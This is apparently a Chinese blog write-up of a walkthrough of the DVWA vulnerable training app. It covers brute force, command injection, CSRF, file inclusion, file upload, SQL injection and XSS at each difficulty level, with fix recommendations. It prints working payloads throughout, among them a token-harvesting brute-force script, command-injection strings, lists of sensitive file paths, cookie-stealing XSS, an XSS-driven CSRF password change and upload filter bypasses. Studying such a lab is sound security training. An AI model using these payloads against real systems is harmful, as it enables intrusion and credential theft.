目录
  1. 1. Brute Force
    1. 1.1. Low
    2. 1.2. Medium
    3. 1.3. High
    4. 1.4. Impossible
    5. 1.5. 修复建议
  2. 2. Command Injection
  3. 3. CSRF
    1. 3.1. Low
      1. 3.1.1. 方法一
      2. 3.1.2. 方法二
    2. 3.2. Medium
    3. 3.3. High
    4. 3.4. Impossible
    5. 3.5. 修复建议
  4. 4. File Inclusion
    1. 4.1. Low
    2. 4.2. Medium
    3. 4.3. High
    4. 4.4. Impossible
    5. 4.5. 修复建议
  5. 5. File File Upload
    1. 5.1. Low
    2. 5.2. Medium
    3. 5.3. High
    4. 5.4. Impossible
    5. 5.5. 修复建议
  6. 6. SQL Injection
    1. 6.1. Low
    2. 6.2. Medium
    3. 6.3. High
    4. 6.4. Impossible
    5. 6.5. 修复建议
  7. 7. SQL Injection (Blind)
    1. 7.1. Low
  8. 8. XSS(DOM)
    1. 8.1. LOW
    2. 8.2. Medium
    3. 8.3. High
    4. 8.4. Impossible
    5. 8.5. 修复建议
  9. 9. XSS(Reflected)
    1. 9.1. Low
    2. 9.2. Medium
    3. 9.3. High
    4. 9.4. Impossible
    5. 9.5. 修复建议
  10. 10. XSS(Stored)
    1. 10.1. 全等级
    2. 10.2. 修复建议
DVWA Writeup

Brute Force

这个漏洞没有太多技巧,熟练的掌握 Burp suite 即可…

还有就是之前开了代理却发现 burp suite抓不到包,很尴尬的发现自己配置代理服务器时使用的是localhost禁止使用代理…删去配置则解决。

Low

这里需要注意的地方是,当传入的参数没有被过滤的时候,sql注入是可行的

5cff5df32acec15592.png.png

Medium

相比于Low级别的代码,Medium新增了一个函数来过滤一些字符串,过滤了单双引号,基本上抵制住了sql的攻击
但是还是可以爆破登录。但由于下面的sleep函数,登录失败会休眠2秒,

mysql_real_escape_string()PHP mysql_real_escape_string() 函数

1.png

High

high级别相比于之前两种要麻烦得多。medium抵御了sql注入。high甚至还抵御了直接爆破。因为high加上了一个叫token的参数,想要爆破成功,就必须获得每次登陆的一个随机token值,服务器在这里应该会先对token进行检查随后再执行SQL查询。

6.png

Json Web Token 简介

Token验证介绍

token是什么

转载一个网上流程很清晰的图…

2.png

分析源码如下:

3.png
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.153.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break

Impossible

4.png 5.png

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 对于修改数据和登陆表单提交使用 POST 方式,同时数据通过 POST 方式读取

  • 添加随机 token 预防 csrf 攻击

  • 针对登陆功能可添加图形验证码,每提交一次数据,验证码改变一次,验证功能在服务
    端进行

  • 针对登陆次数进行限制,可使用登陆远程 IP 或用户名两种方式进行锁定,登录错误次5 分钟之内超过 3 次锁定 1-3 小时

  • 对于管理类系统配置登陆用户允许的 IP 范围

  • 可使用短信验证和邮箱验证方式实现双因子认证,注意对短信轰炸和邮件轰炸的防御

  • 密码等敏感字段进行加密后传输,例如密码使用加盐 hash 算法等加密后



Command Injection

这个漏洞记录的比较简略,一是DVWA这个漏洞没有多讲什么东西。二是由于系统的命令还不熟悉。之后的专项漏洞学习再对此漏洞进行补充…

payload:

  • 127.0.0.1&&id

  • 127.0.0.1&&net user

  • testcmdinjection||id

  • testcmdinjection||net user

  • 127.0.0.1&id

  • 127.0.0.1|net user

  • testcmdinjection&id

  • testcmdinjection|net us

常用命令
ipconfig 查看本地网络
net  user   查看系统用户
dir  查看当前目录
find 查找包含指定字符的行
whoami 查看系统当前有效用户名

需要注意的:

  1. 这个漏洞需要充分掌握py脚本(话说py脚本还是真的能干挺多事儿…)

  2. 还有就是注意过滤了哪些东西,哪些没有被过滤。找到可以替代的就可以绕过

这里需要注意的是”&&”与” &”的区别:

  • Command 1&&Command 2
    先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

  • Command 1&Command 2
    先执行Command 1,不管是否成功,都会执行Command 2

  • Command 1 | Command 2
    “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。



CSRF

附上几篇不错的文章:

骚姿势:当XSS与CSRF相遇

各大SRC中的CSRF技巧

Web安全 — CSRF漏洞

需要用到的工具还是 Burp suite

想到了某公司的一个面试题是如何避免CSRF,我觉得检验referer和token就是不错的方法,包括下面几个级别里面也都有提到

Low

分析一波源码如下,传入参数没有防护机制

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input,通过GET进行了一波传参
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match? 判断两者是否相等
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database,更新数据,改为新密码
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ?$___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法一

通过 Burp suite 进行CSRF攻击…具体流程就不必详说了,都是基本操作哈…

方法二

诱导用户点击构造之后的URL。该url即可实现密码修改。但是一定要注意,我们需要服务器验证cookie,所以我们必须让该url和DVWA系统打开的浏览器一致

Medium

Medium源码相比于Low源码,在第一个if上检测了referer头信息,来源必须为网站地址。

针对请求来源使用 http referrer 头信息进行检查,但是检查逻辑存在问题,检查逻辑为
在 referer 中查找服务器名称,若查找到则成功,否则失败…

7.png

burp suite抓个包查看一下

8.png

然后使用burp suite 相关的功能即可…但是需要注释掉这一语句history对象history.pushState()

9.png

medium绕过的精华就在于通过构造其他地方的东西的名字,来绕过字符串的匹配,他原本是想匹配host里面的东西,但是host的名称可以被其他东西构造在referer里面去。

High

High级别的源码跟Medium差不多,但是Medium是检测的referer,high是检测的token(话说token真是个比较难绕的东西)
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
就不贴全部的源码了贴个前面的关键句

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

绕过思路比较清奇…借助了反射型的XSS

这里直接借助红日安全实验室的payload:

  1. 反射性 XSS 漏洞利用payload: <img src="" onerror="alert(/xss/)"/>

  2. 通过反射型 XSS 获取修改密码表单 user_token payload:

    <iframe src="../csrf/"  
    onload="alert(frames[0].document.getElementsByName('user_token')[0].value)"></ifra
    me>
  3. 利用反射性 XSS 自动提交修改密码表单

    <iframe src="../csrf" onload="var 
    t=frames[0].document.getElementsByName('user_token')[0].value,x=new
    XMLHttpRequest();x.open('GET',
    '../csrf/?password_new=test123&password_conf=test123&Change=Change&user_toke
    n='+t, null);x.send()"></iframe>
  4. 发起攻击连接
    http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22..%2Fcsrf%22+onload%3D%22var+t%3Dframes%5B0%5D.document.getElementsByName%28测试平台分析%27user_token%27%29%5B0%5D.value%2Cx%3Dnew+XMLHttpRequest%28%29%3Bx.open%28%27GET%27%2C+%27..%2Fcsrf%2F%3Fpassword_new%3Dtest123%26password_conf%3Dtest123%26Change%3DChange%26user_token%3D%27%2Bt%2C+null%29%3Bx.send%28%29%22%3E%3C%2Fiframe%3

或者借助Freebuf的payload:https://www.freebuf.com/articles/web/118352.html

一些关于跨域问题的东西
浅谈CSRF攻击-跨域攻击

Impossible

Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

附上源码

10.png

一个博主写的PDO技术防范SQL注入的方法https://blog.51cto.com/12332766/2137035

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 对于修改数据和登陆表单提交使用 POST 方式,同时数据通过 POST 方式读取

  • 添加随机 token 预防 csrf 攻击

  • 对提交的请求进行 referer 验证,验证规则请求 referer 必须以 http(s)://host:port/开头

  • 针对修改密码,需要输入原密码进行验证(简单粗暴)

  • 可添加验证码进行用户确认(有效防止无脑爆破)



File Inclusion

一个文件包含漏洞的基础链接:Web安全实战系列:文件包含漏洞

l3m0n师傅-文件包含漏洞小结

文件包含漏洞常常会导致任意文件读取与任意命令执行。

本章不谈payload,只讲绕过方法。

常见的敏感信息路径:

  • Windows系统
  • c:\boot.ini // 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • c:\windows\repair\sam // 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini // MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • c:\windows\php.ini // php 配置信息
  • Linux/Unix系统
  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。

13.png

Low

附上简短的源码…

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

payload:

  • kali下../../../../../../../../../../etc/password

  • Windows下c:\\windows\win.ini
    Windows下是找到网站根目录下配置的php.ini文件

远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

Medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// str_replace对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>
  1. str_replace 函数直接双写就可以绕过

  2. 同时可以采用绝对链接,str_replace就替换不了

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

对提交参数进行检查,只允许 include.php 以及 file 开头的文件被包含,只能包含本地file 开头的文件或配合文件上传漏洞组合进行利用

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

文件只能是这三种,全部罗列出来了…

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 使用白名单列表限制被包含文件

  • 关闭远程文件包含功能

  • 避免 web 服务器启动用户权限过高



File File Upload

Low

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知

之后直接上传带一句话木马的php文件然后用菜刀连接就ok

Medium

14.png
  1. burpsuite直接抓包修改,可以绕过文件的类型的限制,而且本身只上传一句话木马,大小不会被过滤的内容所限制

  2. 组合拳,文件包含加文件上传。用菜刀连接的时候,一开始传递了参数,但是菜刀连接不上,因为它把上传的木马当做图片进行解析,然后返回了值。我们用文件包含获取相关权限就ok

  1. 截断绕过规则,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错

采用%00截断,还有系统的copy命令,将图片和脚本融合在一起…

Impossible

Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 设置项目目录权限:可写目录不执行,执行目录不可写
  • 使用白名单机制对文件类型(mine-type)和文件后缀进行限制
  • 对上传文件大小进行限制
  • 文件存储到服务器时文件名称随机化,禁止使用用户上传指定的文件名称
  • 针对图片文件使用压缩或重设图片像素大小
  • 上传文件存放在独立服务器使用



SQL Injection

由于学习sql有一段时间了,所以这章略写

Low

字符型注入,直接id=1' or 1=1#闭合即可

Medium

整型注入,由于只能有复选框,所以直接burpsuite抓包,再进行修改 id=1 or 1=1即可

High

直接注入,#号注释掉后面的语句即可

Impossible

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 使用预处理方式将数据和操作分离(在 SQL 中使用?占位数据)
  • 对数据严格进行类型和格式检查
  • 使用安全函数对数据进行转义
  • 避免 web 服务器启动和数据库操作用户权限过高



SQL Injection (Blind)

详版请见:DVWA-1.9全级别教程之SQL Injection(Blind)

Low

盲注没有回显,利用burpsuite的重放模块来攻击

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

GET了id之后直接拼到查询语句中。

  • payload:
    1 or 1=1
    1 and 1=2
    1' or '1'='1
    1' and '1'='2

  • 如何使用burpsuite:

  • 15.png 16.png 7.png
  • 使用sqlmap

18.png 19.png ## Medium 21.png ## High 20.png ## Impossible Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。 ## 修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 使用预处理方式将数据和操作分离(在 SQL 中使用?占位数据)
  • 对数据严格进行类型和格式检查(url,post data,cookie 等用户可以控制的数据)
  • 使用安全函数对数据进行转义
  • 避免 web 服务器启动和数据库操作用户权限过高



XSS(DOM)

LOW

我的分析(成功思路):
一个复选框可以选很多语言,且URL直接可以控制参数
11.png

观察源码,没有对输入的参数过滤的东西

<?php
#No protections, anything goes
?>

直接改变浏览器传入的参数localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert('1')</script>

Medium

我的分析(失败)
看一波源码

<?php		
/*array_key_exists()检查某个数组中是否存在指定的键名
*检测"default"是否在GET这个变量中和GET传入的参数值不为空
*/
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

/*stripos()函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)*/
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

个人最开始认为这个源码的着重点在 stripos上面,检测了<script这个东西,而且不区分大小写,检测到了就让default=English

大佬的分析
方法一
可以看到,medium级别的代码先检查了default参数是否为空
如果不为空则将default等于获取到的default值。
这里还使用了stripos 用于检测default值中是否有 <script,如果有的话,则将 default=English 。

很明显,这里过滤了 <script (不区分大小写),那么我们可以使用<img src=1 onerror=('hack')>
onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件

查看网页源代码
12.png

发现要独立出<img>标签才能弹窗,需要闭合前面的<option>和<select>所以构造语句

?default=></option></select><img src=1 onerror=alert('1')>

/* >是用来闭合前面的 <option
* </option>闭合前面的<option>
* </select>闭合前面的<select>
* 这样才能使<img>标签逃离出来
*/

** 方法二**
url中有一个字符为 #,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为

注意#号的位置
?#default=<script>alert("xss")</script>

High

我的分析(失败)
先看一波后端源码,发现进行switch语句,直接列出了所有选项,不知道怎么绕过…

<?php
// Is there any input?
/*检测default这个参数是否被设置和是否为空
*不为空且被设置进入switch语句
*/

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
//下面直接列出了所有的情况
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

大佬的分析

其实同Medium的方法二一样,url中有一个字符为 #,该字符后的数据不会发送到服务器端,从而绕过服务端过滤
构造语句
http://localhost/DVWA/vulnerabilities/xss_d/?#default=English<script>alert(/xss/)</script>

Impossible

分析一波后端源码

<?php

# Don't need to do anything, protction handled on the client side

?>

好吧没什么可以分析的…

我们查看网页源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 禁用 js 读取 cookie(设置 cookie 为 httponly)

  • 在页面输出数据时对<>&'"/等字符进行 html 实体转义

  • 对输入数据中<>&'"进行严格检查



XSS(Reflected)

Low

我的分析(成功思路)
查看后端源代码

Low级别还是没进行参数过滤,存在反射型xss漏洞

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user

//传入参数未经过滤,直接输出
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

构造语句,成功弹窗
<script>alert(/xss/)</script>

大佬的分析
略…
补充一波payload

  1. <script>alert(/xss/)</script>
  2. <script>alert(document.cookie)</script>
  3. <img src="" onerror="alert(/xss/)"/>
  4. <iframe src="" onload="alert(document.cookie)"></iframe>

Medium

我的分析(成功思路)
源码中发现· str_replace·函数,它只删除一次标签,采用双写绕过

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

大佬的分析
补充一波payload
双写绕过检测的标签
<sc<script>ript>alert(/xss/)</script>

大小写混写绕过检测的标签
<sCrIpt>alert(document.cookie)</scRipT>

以下两种由于没有<script>标签,所以检测不到,可以直接使用
<img src="" onerror="alert(/xss/)"/>

<iframe src="" onload="alert(document.cookie)"></iframe>

High

我的分析(成功思路)
查看源码发现使用了正则表达式来过滤掉s c r i p t 这几个字母,相当于删去了<script>这个标签

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

我看了之后想到了另外两个payload
<img src="" onerror="alert(/xss/)"/>

<iframe src="" onload="alert(document.cookie)"></iframe>

Impossible

直接实体化了输入的东西,禁用掉了xss

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input,直接实体化了html
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 禁用 js 读取 cookie(设置 cookie 为 httponly)

  • 在页面输出数据时对<>&'"/等字符进行 html 实体转义

  • 对输入数据中<>&'"进行严格检查



XSS(Stored)

全等级

这个同反射型xss大致相同。需要注意的是多加了几个函数。而且需要看后端源码来看哪里存在注入点。

而且存储型相比于反射型是,只要访问该页面的用户都会触发xss。

修复建议

转载自红日安全《DVWA 漏洞测试平台分析》:

  • 禁用 js 读取 cookie(设置 cookie 为 httponly)

  • 在页面输出数据时对<>&'"/等字符进行 html 实体转义

  • 对输入数据中<>&'"进行严格检查




文章作者: P2hm1n
文章链接: http://yoursite.com/2019/06/11/DVWA通关笔记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论